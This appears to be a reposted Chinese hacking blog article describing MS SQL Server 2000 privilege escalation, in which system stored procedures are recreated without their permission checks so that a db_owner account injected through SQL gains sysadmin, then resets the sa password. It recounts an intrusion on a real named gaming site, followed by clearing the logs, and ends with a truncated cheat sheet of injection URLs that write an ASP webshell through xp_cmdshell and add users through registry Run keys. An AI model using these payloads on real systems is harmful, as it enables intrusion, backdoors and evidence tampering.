.net 专家

住在上海

导航

sql 系统 存储过程的使用方法 转载

声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell甚至系统权限)。

记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用xp_regwrite来取得系统权限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'

xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(除非是你十分想要搞定的网站)。

呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大必杀技之一————万能提权。

假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)

呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这就把我的三大必杀技之一————万能提升权限方法告诉大家。

在告诉大家之前,我们先做个实验.实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?



服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16

用户 'xwq' 没有运行 DBCC auditevent 的权限。

服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17

用户没有执行此操作的权限。



呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我所用呢?我们在这里看一下sp_addlogin的代码:

create procedure sp_addlogin

@loginame  sysname

,@passwd         sysname = Null

,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???

,@deflanguage    sysname = Null

,@sid   varbinary(16) = Null

,@encryptopt  varchar(20) = Null

AS

-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

set nocount on

Declare @ret    int    -- return value of sp call

-- CHECK PERMISSIONS --

IF (not is_srvrolemember('securityadmin') = 1)

begin

dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)

raiserror(15247,-1,-1)

return (1)

end

ELSE

begin

dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)

end

-- DISALLOW USER TRANSACTION --

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,'sp_addlogin')

return (1)

end

-- VALIDATE LOGIN NAME AS:

--  (1) Valid SQL Name (SQL LOGIN)

--  (2) No backslash (NT users only)

--  (3) Not a reserved login name

execute @ret = sp_validname @loginame

if (@ret <> 0)

return (1)

if (charindex('\', @loginame) > 0)

begin

raiserror(15006,-1,-1,@loginame)

return (1)

end

--Note: different case sa is allowed.

if (@loginame = 'sa' or lower(@loginame) in ('public'))

begin

raiserror(15405, -1 ,-1, @loginame)

return (1)

end

-- LOGIN NAME MUST NOT ALREADY EXIST --

if exists(select * from master.dbo.syslogins where loginname =

@loginame)

begin

raiserror(15025,-1,-1,@loginame)

return (1)

end

-- VALIDATE DEFAULT DATABASE --

IF db_id(@defdb) IS NULL

begin

raiserror(15010,-1,-1,@defdb)

return (1)

end

-- VALIDATE DEFAULT LANGUAGE --

IF (@deflanguage IS NOT Null)

begin

Execute @ret = sp_validlang @deflanguage

IF (@ret <> 0)

return (1)

end

ELSE

begin

select @deflanguage = name from master.dbo.syslanguages

where langid = @@default_langid --server default

language

if @deflanguage is null

select @deflanguage = N'us_english'

end

-- VALIDATE SID IF GIVEN --

if ((@sid IS NOT Null) and (datalength(@sid) <> 16))

begin

raiserror(15419,-1,-1)

return (1)

end

else if @sid is null

select @sid = newid()

if (suser_sname(@sid) IS NOT Null)

begin

raiserror(15433,-1,-1)

return (1)

end

-- VALIDATE AND USE ENCRYPTION OPTION --

declare @xstatus smallint

select @xstatus = 2 -- access

if @encryptopt is null

select @passwd = pwdencrypt(@passwd)

else if @encryptopt = 'skip_encryption_old'

begin

select @xstatus = @xstatus | 0x800, -- old-style

encryption

@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))

end

else if @encryptopt <> 'skip_encryption'

begin

raiserror(15600,-1,-1,'sp_addlogin')

return 1

end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --

INSERT INTO master.dbo.sysxlogins VALUES

(NULL, @sid, @xstatus, getdate(),

getdate(), @loginame, convert(varbinary(256), @passwd),

db_id(@defdb), @deflanguage)

if @@error <> 0  -- this indicates we saw duplicate row

return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --

exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --

raiserror(15298,-1,-1)

return  (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,主要是这里一段再搞鬼

-- CHECK PERMISSIONS --

IF (not is_srvrolemember('securityadmin') = 1)

begin

dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)

raiserror(15247,-1,-1)

return (1)

end

ELSE

begin

dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)

end



只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。

好,我们先把sp_addlogin删拉

drop procedure sp_addlogin



然后再来恢复sp_addlogin



create procedure sp_addlogin

@loginame  sysname

,@passwd         sysname = Null

,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???

,@deflanguage    sysname = Null

,@sid   varbinary(16) = Null

,@encryptopt  varchar(20) = Null

AS

-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

set nocount on

Declare @ret    int    -- return value of sp call



-- DISALLOW USER TRANSACTION --

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,'sp_addlogin')

return (1)

end

-- VALIDATE LOGIN NAME AS:

--  (1) Valid SQL Name (SQL LOGIN)

--  (2) No backslash (NT users only)

--  (3) Not a reserved login name

execute @ret = sp_validname @loginame

if (@ret <> 0)

return (1)

if (charindex('\', @loginame) > 0)

begin

raiserror(15006,-1,-1,@loginame)

return (1)

end

--Note: different case sa is allowed.

if (@loginame = 'sa' or lower(@loginame) in ('public'))

begin

raiserror(15405, -1 ,-1, @loginame)

return (1)

end

-- LOGIN NAME MUST NOT ALREADY EXIST --

if exists(select * from master.dbo.syslogins where loginname =

@loginame)

begin

raiserror(15025,-1,-1,@loginame)

return (1)

end

-- VALIDATE DEFAULT DATABASE --

IF db_id(@defdb) IS NULL

begin

raiserror(15010,-1,-1,@defdb)

return (1)

end

-- VALIDATE DEFAULT LANGUAGE --

IF (@deflanguage IS NOT Null)

begin

Execute @ret = sp_validlang @deflanguage

IF (@ret <> 0)

return (1)

end

ELSE

begin

select @deflanguage = name from master.dbo.syslanguages

where langid = @@default_langid --server default

language

if @deflanguage is null

select @deflanguage = N'us_english'

end

-- VALIDATE SID IF GIVEN --

if ((@sid IS NOT Null) and (datalength(@sid) <> 16))

begin

raiserror(15419,-1,-1)

return (1)

end

else if @sid is null

select @sid = newid()

if (suser_sname(@sid) IS NOT Null)

begin

raiserror(15433,-1,-1)

return (1)

end

-- VALIDATE AND USE ENCRYPTION OPTION --

declare @xstatus smallint

select @xstatus = 2 -- access

if @encryptopt is null

select @passwd = pwdencrypt(@passwd)

else if @encryptopt = 'skip_encryption_old'

begin

select @xstatus = @xstatus | 0x800, -- old-style

encryption

@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))

end

else if @encryptopt <> 'skip_encryption'

begin

raiserror(15600,-1,-1,'sp_addlogin')

return 1

end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --

INSERT INTO master.dbo.sysxlogins VALUES

(NULL, @sid, @xstatus, getdate(),

getdate(), @loginame, convert(varbinary(256), @passwd),

db_id(@defdb), @deflanguage)

if @@error <> 0  -- this indicates we saw duplicate row

return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --

exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --

raiserror(15298,-1,-1)

return  (0) -- sp_addlogin

GO



这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码

:create procedure sp_addsrvrolemember

@loginame sysname,   -- login name

@rolename sysname = NULL -- server role name

as

-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

set nocount on

declare @ret        int,    -- return value of sp call

@rolebit    smallint,

@ismem      int

-- DISALLOW USER TRANSACTION --

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,'sp_addsrvrolemember')

return (1)

end

-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --

select @ismem = is_srvrolemember(@rolename)

if @ismem is null

begin

dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)

raiserror(15402, -1, -1, @rolename)

return (1)

end

if @ismem = 0

begin

dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)

raiserror(15247,-1,-1)

return (1)

end

-- AUDIT A SUCCESSFUL SECURITY CHECK --

dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

-- CANNOT CHANGE SA ROLES --

if @loginame = 'sa'

begin

raiserror(15405, -1 ,-1, @loginame)

return (1)

end

-- OBTAIN THE BIT FOR THIS ROLE --

select @rolebit = CASE @rolename

WHEN 'sysadmin'         THEN 16

WHEN 'securityadmin'    THEN 32

WHEN 'serveradmin'      THEN 64

WHEN 'setupadmin'       THEN 128

WHEN 'processadmin'     THEN 256

WHEN 'diskadmin'        THEN 512

WHEN 'dbcreator'        THEN 1024

WHEN 'bulkadmin'  THEN 4096

ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --

if not exists(select * from master.dbo.syslogins where

loginname = @loginame)

begin

execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame

if (@ret <> 0)

begin

raiserror(15007,-1,-1,@loginame)

return (1)

end

end

-- UPDATE ROLE MEMBERSHIP --

update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()

where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --

exec('use master grant all to null')

raiserror(15488,-1,-1,@loginame,@rolename)

-- FINALIZATION: RETURN SUCCESS/FAILURE

return (@@error) -- sp_addsrvrolemember

GO

 

把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --

select @ismem = is_srvrolemember(@rolename)

if @ismem is null

begin

dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)

raiserror(15402, -1, -1, @rolename)

return (1)

end

if @ismem = 0

begin

dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)

raiserror(15247,-1,-1)

return (1)

end



这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程,利用我的万能提权必杀技,我们都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin权限能利用的,我们都可以让他们为我所用。

下面再举一个万能提权的例子,和我一起打造一个永远不会被杀及完美的后门我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一段删除,再重建,我们就好用拉。

CREATE PROCEDURE sp_configure  --- 1996/08/14 09:43

@configname   varchar(35) = NULL   -- option name to configure

,@configvalue  int         = NULL   -- new configuration value

as

set nocount on

declare

@confignum                  int   --Num of the opt to be configured

,@configcount                int   --Num of options like @configname

,@show_advance               int   --Y/N Read&Write actions on

"advanced" opts

declare @fullconfigname  varchar (35)

declare @prevvalue   int

/*

**  Determine @maxnumber based on advance option in syscurconfigs.

*/

if (select value from master.dbo.syscurconfigs where config = 518) = 1

select @show_advance = 1   -- Display advanced options

else

select @show_advance = 0   -- Don't display advanced options

/*

**  Make certain that max user info. reflects any addpak upgrades.

*/

if (select high from master.dbo.spt_values where number=103 and

type='C')

<> @@max_connections

update master.dbo.spt_values

set high = @@max_connections

where number = 103

and type='C'

/*

**  If no option name is given, the procedure will just print out all

the

**  options and their values.

*/

if @configname is NULL

begin

select name, minimum = low, maximum = high,

config_value = c.value,

run_value = master.dbo.syscurconfigs.value

from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs

where type = 'C'

and number = c.config

and number = master.dbo.syscurconfigs.config

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

order by lower(name)

return (0)

end

/*

**  Use @configname and try to find the right option.

**  If there isn't just one, print appropriate diagnostics and return.

*/

select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)

from master.dbo.spt_values v ,master.dbo.sysconfigures c

where v.name like '%' + @configname + '%' and v.type = 'C'

and v.number = c.config

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

/*

**  If no option, show the user what the options are.

*/

if @configcount = 0

begin

raiserror (15123,-1,-1,@configname)

print ' '

raiserror (15456,-1,-1)

/*

** Show the user what the options are.

*/

select name, minimum = low, maximum = high,

config_value = c.value,

run_value = master.dbo.syscurconfigs.value

from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs

where type = 'C'

and number = c.config

and number = master.dbo.syscurconfigs.config

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

return (1)

end

/*

**  If more than one option like @configname, show the duplicates and

return.

*/

if @configcount > 1

begin

raiserror (15124,-1,-1,@configname)

print ' '

select duplicate_options = name

from master.dbo.spt_values,master.dbo.sysconfigures c

where name like '%' + @configname + '%'

and type = 'C'

and number = c.config

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

return (1)

end

else

/* There must be exactly one, so get the full name. */

select @configname = name --,@value_in_sysconfigures = c.value

from master.dbo.spt_values,master.dbo.sysconfigures c

where name like '%' + @configname + '%' and type = 'C'

and number = c.config

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

/*

** If @configvalue is NULL, just show the current state of the option.

*/

if @configvalue is null

begin

select       v.name

,v.low   as 'minimum'

,v.high  as 'maximum'

,c.value as 'config_value'

,u.value as 'run_value'

from

master.dbo.spt_values     v  left outer join

master.dbo.sysconfigures  c  on v.number = c.config

left outer join

master.dbo.syscurconfigs  u  on v.number = u.config

where

v.type = 'C  '

and    v.name like '%' + @configname + '%'

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

return (0)

end

/*

**  Now get the configuration number.

*/

select @confignum = number

from master.dbo.spt_values,master.dbo.sysconfigures c

where type = 'C'

and (@configvalue between low and high or @configvalue = 0)

and name like '%' + @configname + '%'

and number = c.config

and

((c.status & 2 <> 0 and @show_advance = 1)

OR

(c.status & 2  = 0)

)

/*

**  If this is the number of default language, we want to make sure

**  that the new value is a valid language id in Syslanguages.

*/

if @confignum = 124

begin

if not exists (select * from master.dbo.syslanguages

where langid = @configvalue)

begin

/* 0 is default language, us_english */

if @configvalue <> 0

begin

raiserror(15127,-1,-1)

return (1)

end

end

end

/*

**  If this is the number of kernel language, we want to make sure

**  that the new value is a valid language id in Syslanguages.

*/

if @confignum = 132

begin

if not exists (select * from master.dbo.syslanguages

where langid = @configvalue)

begin

/* 0 is default language, us_english */

if @configvalue <> 0

begin

raiserror(15028,-1,-1)

return (1)

end

end

end

/*

**  "user options" should not try to set incompatible options/values.

*/

if @confignum = 1534  --"user options"

begin

if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/off

begin

raiserror(15303,-1,-1,@configvalue)

return (1)

end

end

/*

**  Although the @configname is good, @configvalue wasn't in range.

*/

if @confignum is NULL

begin

raiserror(15129,-1,-1,@configvalue,@configname)

return (1)

end

--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/*

**  Now update sysconfigures.

*/

update master.dbo.sysconfigures set value = @configvalue

where config = @confignum

/*

** Flush the procedure cache - this is to account for options which

become

** effective immediately (ie. dont need a server restart).

*/

dbcc freeproccache

raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure

GO

 

ok,我们再

sp_configure 'allow updates',1

go

RECONFIGURE WITH OVERRIDE

go

好拉这样我们才好更改sa的密码。接着update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。



实例:

下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.comwww.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候),在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测试可真花费拉我不少时间,别误会,我不是说时间花在“检测”上,而是都放在写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分钟不到)。

在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,我当然是在我写的程序里面输入拉)

create procedure  sp_addlogin

@loginame  sysname

,@passwd         sysname = Null

,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???

,@deflanguage    sysname = Null

,@sid   varbinary(16) = Null

,@encryptopt  varchar(20) = Null

AS

-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

set nocount on

Declare @ret    int    -- return value of sp call



-- DISALLOW USER TRANSACTION --

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,'sp_addlogin')

return (1)

end

-- VALIDATE LOGIN NAME AS:

--  (1) Valid SQL Name (SQL LOGIN)

--  (2) No backslash (NT users only)

--  (3) Not a reserved login name

execute @ret = sp_validname @loginame

if (@ret <> 0)

return (1)

if (charindex('\', @loginame) > 0)

begin

raiserror(15006,-1,-1,@loginame)

return (1)

end

--Note: different case sa is allowed.

if (@loginame = 'sa' or lower(@loginame) in ('public'))

begin

raiserror(15405, -1 ,-1, @loginame)

return (1)

end

-- LOGIN NAME MUST NOT ALREADY EXIST --

if exists(select * from master.dbo.syslogins where loginname =

@loginame)

begin

raiserror(15025,-1,-1,@loginame)

return (1)

end

-- VALIDATE DEFAULT DATABASE --

IF db_id(@defdb) IS NULL

begin

raiserror(15010,-1,-1,@defdb)

return (1)

end

-- VALIDATE DEFAULT LANGUAGE --

IF (@deflanguage IS NOT Null)

begin

Execute @ret = sp_validlang @deflanguage

IF (@ret <> 0)

return (1)

end

ELSE

begin

select @deflanguage = name from master.dbo.syslanguages

where langid = @@default_langid --server default

language

if @deflanguage is null

select @deflanguage = N'us_english'

end

-- VALIDATE SID IF GIVEN --

if ((@sid IS NOT Null) and (datalength(@sid) <> 16))

begin

raiserror(15419,-1,-1)

return (1)

end

else if @sid is null

select @sid = newid()

if (suser_sname(@sid) IS NOT Null)

begin

raiserror(15433,-1,-1)

return (1)

end

-- VALIDATE AND USE ENCRYPTION OPTION --

declare @xstatus smallint

select @xstatus = 2 -- access

if @encryptopt is null

select @passwd = pwdencrypt(@passwd)

else if @encryptopt = 'skip_encryption_old'

begin

select @xstatus = @xstatus | 0x800, -- old-style

encryption

@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))

end

else if @encryptopt <> 'skip_encryption'

begin

raiserror(15600,-1,-1,'sp_addlogin')

return 1

end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --

INSERT INTO master.dbo.sysxlogins VALUES

(NULL, @sid, @xstatus, getdate(),

getdate(), @loginame, convert(varbinary(256), @passwd),

db_id(@defdb), @deflanguage)

if @@error <> 0  -- this indicates we saw duplicate row

return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --

exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --

raiserror(15298,-1,-1)

return  (0) -- sp_addlogin

GO

OK,我们新建个用户exec master..sp_addlogin xwq



再drop procedure sp_addsrvrolemember,然后在IE里输入

 



create procedure sp_addsrvrolemember

@loginame sysname,   -- login name

@rolename sysname = NULL -- server role name

as

-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

set nocount on

declare @ret        int,    -- return value of sp call

@rolebit    smallint,

@ismem      int

-- DISALLOW USER TRANSACTION --

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,'sp_addsrvrolemember')

return (1)

end



-- CANNOT CHANGE SA ROLES --

if @loginame = 'sa'

begin

raiserror(15405, -1 ,-1, @loginame)

return (1)

end

-- OBTAIN THE BIT FOR THIS ROLE --

select @rolebit = CASE @rolename

WHEN 'sysadmin'         THEN 16

WHEN 'securityadmin'    THEN 32

WHEN 'serveradmin'      THEN 64

WHEN 'setupadmin'       THEN 128

WHEN 'processadmin'     THEN 256

WHEN 'diskadmin'        THEN 512

WHEN 'dbcreator'        THEN 1024

WHEN 'bulkadmin'  THEN 4096

ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --

if not exists(select * from master.dbo.syslogins where

loginname = @loginame)

begin

execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame

if (@ret <> 0)

begin

raiserror(15007,-1,-1,@loginame)

return (1)

end

end

-- UPDATE ROLE MEMBERSHIP --

update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()

where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --

exec('use master grant all to null')

raiserror(15488,-1,-1,@loginame,@rolename)

-- FINALIZATION: RETURN SUCCESS/FAILURE

return (@@error) -- sp_addsrvrolemember

GO



接着再exec master..sp_addsrvrolemember xwq,sysadmin我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号,清除日志,闪人。



看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin 固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是碰到Public的权限,那就不好使用拉。不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除去,看来M$对我们这些“坏人”还是很厚爱的哦)



后记

这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的操作。

再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。
1、 用^转义字符来写ASP(一句话木马)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、 显示SQL系统版本:
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。

4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:\inetput\web\xplog70.dll’;--

5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

6、 查看当前的数据库名称:
http://192.168.1.5/display.asp?keyno=188 and 0<>db_name()
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录

8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
